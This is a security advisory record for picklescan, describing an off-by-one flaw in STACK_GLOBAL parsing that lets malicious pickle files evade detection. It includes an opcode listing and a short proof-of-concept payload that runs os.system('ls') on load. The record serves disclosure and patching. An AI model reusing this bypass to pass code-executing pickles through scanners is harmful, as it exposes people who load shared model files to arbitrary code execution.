{"id":"PYSEC-2026-1788","summary":"Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass","details":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --\u003e arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --\u003e arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","aliases":["CVE-2025-71325","GHSA-9gvj-pp9x-gcfr"],"modified":"2026-07-07T17:48:02.274733668Z","published":"2026-07-07T16:03:00.934894Z","references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71325"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw"},{"type":"PACKAGE","url":"https://pypi.org/project/picklescan"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9gvj-pp9x-gcfr"}],"affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.27"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1788.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}